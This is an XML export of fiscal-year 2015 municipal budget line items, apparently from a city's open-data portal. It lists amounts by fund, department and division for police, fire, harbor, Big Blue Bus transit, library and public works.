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<row _id="13758"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2087.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2087.0</total></row>
<row _id="13759"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>14454.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14454.0</total></row>
<row _id="13760"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533240.0</object><object_description>PIER MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>17215.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17215.0</total></row>
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<row _id="13763"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>78659.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>78659.0</total></row>
<row _id="13764"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533210.0</object><object_description>BLDG OPER / CUST SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>36604.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>36604.0</total></row>
<row _id="13765"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>642382.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>642382.0</total></row>
<row _id="13766"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511650.0</object><object_description>POLICE CADETS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>59021.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>59021.0</total></row>
<row _id="13767"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>96027.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>96027.0</total></row>
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<row _id="13770"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>8160.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>8160.0</total></row>
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<row _id="13772"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511650.0</object><object_description>POLICE CADETS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>191818.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>191818.0</total></row>
<row _id="13773"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>161029.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>161029.0</total></row>
<row _id="13774"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>18782.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18782.0</total></row>
<row _id="13775"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>66448.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>66448.0</total></row>
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<row _id="13777"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544020.0</object><object_description>AMMO/PROTECTIVE CLOTHING-SWORN</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>208690.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>208690.0</total></row>
<row _id="13778"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>566500.0</object><object_description>RECRUITING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>17739.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17739.0</total></row>
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<row _id="13780"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>566160.0</object><object_description>CANINE PROGRAM</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>29064.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29064.0</total></row>
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<row _id="13784"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>261.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>261.0</total></row>
<row _id="13785"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>533140.0</object><object_description>BOAT MAINTENANCE / OPERATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>23892.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>23892.0</total></row>
<row _id="13786"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>52.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>52.0</total></row>
<row _id="13787"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>71251.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>71251.0</total></row>
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<row _id="13793"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>588050.0</object><object_description>FIRE SUPPRESSION EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20444.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20444.0</total></row>
<row _id="13794"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522042.0</object><object_description>RECOVERY FROM SUBROGATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>-110000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-110000.0</total></row>
<row _id="13795"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544193.0</object><object_description>CLEANING SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>135700.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>135700.0</total></row>
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<row _id="13801"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>555110.0</object><object_description>LEGAL EXPENSE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>42173.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>42173.0</total></row>
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<row _id="13803"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511650.0</object><object_description>POLICE CADETS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>29510.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29510.0</total></row>
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<row _id="13805"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1782.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1782.0</total></row>
<row _id="13806"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>314.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>314.0</total></row>
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<row _id="13810"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1663.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1663.0</total></row>
<row _id="13811"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>3335578.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3335578.0</total></row>
<row _id="13812"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3131.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3131.0</total></row>
<row _id="13813"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>20052.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20052.0</total></row>
<row _id="13814"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>588500.0</object><object_description>MISCELLANEOUS EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>3906.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3906.0</total></row>
<row _id="13815"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>511510.0</object><object_description>CROSSING GUARDS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>451878.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>451878.0</total></row>
<row _id="13816"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10891.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10891.0</total></row>
<row _id="13817"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>544020.0</object><object_description>AMMO / SHOOTING SUPPLIES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>37139.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37139.0</total></row>
<row _id="13818"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2182.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2182.0</total></row>
<row _id="13819"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>533120.0</object><object_description>SPECIAL EQUIP MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>532.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>532.0</total></row>
<row _id="13820"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>37054.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37054.0</total></row>
<row _id="13821"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>651</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>5593.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5593.0</total></row>
<row _id="13822"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>960682.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>960682.0</total></row>
<row _id="13823"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1995.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1995.0</total></row>
<row _id="13824"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="13825"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>95.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>95.0</total></row>
<row _id="13826"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>11000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11000.0</total></row>
<row _id="13827"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>142825.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>142825.0</total></row>
<row _id="13828"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>1695.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1695.0</total></row>
<row _id="13829"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>615</division_id><division_name>REFERENCE SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2015</fiscal_year><july>19344.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>19344.0</total></row>
<row _id="13830"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="13831"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>2075.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2075.0</total></row>
<row _id="13832"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>588080.0</object><object_description>OFFICE EQUIPMENT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2015</fiscal_year><july>13531.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13531.0</total></row>
